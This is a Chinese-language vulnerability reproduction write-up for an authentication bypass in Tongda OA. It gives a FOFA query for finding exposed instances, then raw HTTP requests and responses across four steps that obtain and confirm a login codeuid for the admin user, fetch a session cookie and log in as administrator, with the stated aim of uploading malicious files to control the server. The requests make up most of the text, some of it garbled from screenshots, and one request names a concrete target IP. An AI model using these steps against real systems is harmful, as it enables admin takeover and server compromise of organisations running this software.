T10-31通达-OA-PermissionAC

漏洞描述:

攻击者可以通过构造恶意攻击代码,成功登录系统管理员账户,继而在系统后台上传恶意文件控制网站服务器。

网站图片:



网络测绘:

fofa语法:

app.name="通达 OA"

漏洞复现:

1.获取code_uid

/ispirit/login_code.php

```
美化 Raw Hex 🚍 \n 🗏
                                                               美化 Raw Hex 页面渲染 🙃 \n 😑
1 GET /ispirit/login_code.php HTTP/1.1
                                                                1 HTTP/1.1 200 OK
                                                                2 Server: nginx
3 Date: Mon, 27 Mar 2023 08:25:37 GMT
  Pragma: no-cache
                                                                  Content-Type: text/html; charset=gbk
   Cache-Control: no-cache
  Upgrade-Insecure-Requests: 1
                                                                5 Connection: close
  User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko)
                                                                6 Vary: Accept-Encoding
                                                                  X-Frame-Options: SAMEORIGIN
                                                                  Content-Length: 242
   Chrome/111.0.0.0 Safari/537.36
7 Accept:
                                                               10 "codeuid":"{8E41DD10-C3C3-A664-2249-2A2B2DF23619}
   text/html.application/xhtml+xml,application/xml;q=0.
   9,image/avif,image/webp,image/apng,*/*;q=0.8,applica
                                                                   autncode":"LUGIN_CUDEab8ezCnIUVD0Jg4IPlaIUXT9CZ/b+
   tion/signed-exchange; v=b3; q=0.7
                                                                  /HZYFCW9MMNpAELbQmSs+edoCBwaL\/zf0PnGsN3\/iWc\/BfmeT
8 Accept-Encoding: gzip, deflate
9 Accept-Language: zh-CN,zh;q=0.9
                                                                  5tN2ogUYisnNI1lM5otaEuJBLmG6R4NkhzBF55W0xhsG0qKEXPYV
                                                                  Wn+R4StMniyK5ata2PICFXtu0o"}
L0 Cookie: PHPSESSID=lfjc1b9cl9tld34ei3cfolqkv2;
   KEY_RANDOMDATA=18615
11 Connection: close
                                                               13
L3
```

2. 验证 codeuid

```
/general/login_code_scan.php
post请求: codeuid={8E41DD10-C3C3-A664-2249-2A2B2DF23619}&source=pc&uid=1&type=confirm&username=admin
用上一步获取的codeuid进行替换,当响应status为1时,代表验证成功。

POST /general/login_code_scan.php HTTP/1.1
Host: xxx.xxx.xxx
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 92
```

 $\verb|codeuid={8E41DD10-C3C3-A664-2249-2A2B2DF23619}& source=pc&uid=1&type=confirm&username=admin=codeuid=type=confirm&username=admin=codeuid=type=confirm&username=admin=codeuid=type=confirm&username=admin=codeuid=type=confirm&username=admin=codeuid=type=confirm&username=admin=codeuid=type=confirm&username=admin=codeuid=type=confirm&username=admin=codeuid=type=confirm&username=admin=codeuid=type=confirm&username=admin=codeuid=type=confirm&username=admin=codeuid=type=confirm&username=admin=codeuid=type=confirm&username=admin=codeuid=type=confirm&username=admin=codeuid=type=confirm&username=admin=codeuid=type=codeuid=type=confirm&username=admin=codeuid=type=codeui$

3. 获取 cookie

/ispirit/login_code_check.php?codeuid={EED2B9FE-F865-DCF1-0E8D-3326AE163F6D}使用上一步验证过的codeui进行替换,获取cookie

```
响应
美化 Raw Hex 🖘 🐚 🖃
                                                           美化 Raw Hex 页面渲染 🙃 \n 😑
1 GET /ispirit/login_code_check.php?codeuid=
                                                             HTTP/1.1 200 OK
  {BD322CD1-B53F-A09D-5B12-250F8BB18658} HTTP/1.1
                                                              Server: nginx
  Date: Mon, 27 Mar 2023 08:33:07 GMT
3 Upgrade-Insecure-Requests: 1
4 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X
                                                            4 Content-Type: text/html; charset=gbk
                                                            5 Connection: close
  10_15_7) AppleWebKit/537.36 (KHTML, like Gecko)
                                                            6 Varv: Accept-Encoding
                                                            7 Set-Cookie: PHPSESSID=2l86fav5r9d65gjcub1abh49n1;
  Chrome/111.0.0.0 Safari/537.36
5 Accept:
                                                              path=/
  text/html,application/xhtml+xml,application/xml;q=0.
                                                            8 Expires: Thu, 19 Nov 1981 08:52:00 GMT
  9, image/avif, image/webp, image/apng, */*; q=0.8, applica
                                                            9 Cache-Control: no-store, no-cache, must-revalidate,
                                                             post-check=0, pre-check=0
  tion/signed-exchange; v=b3; q=0.7
6 Accept-Encoding: gzip, deflate 7 Accept-Language: zh-CN,zh;q=0.9
                                                           10 Pragma: no-cache
                                                           11 X-Frame-Options: SAMEORIGIN
  Connection: close
                                                           12 Content-Length: 94
                                                           13
                                                           14 {"status":1,"data":{"type":"confirm","username":"adm
10
                                                              in\r\n","byname":"admin","uid":"1"}}
                                                         : 15
                                                          16
```

4. 利用获取到的cookie登录系统

利用上一步获取的cookie替换,登录应用系统

```
GET /general/index.php?is_modify_pwd=1 HTTP/1.1
Host: 1.14.47.145:8000
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/II1.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=2186fav5r9d65gjcublabh49n1;
Connection: close
```

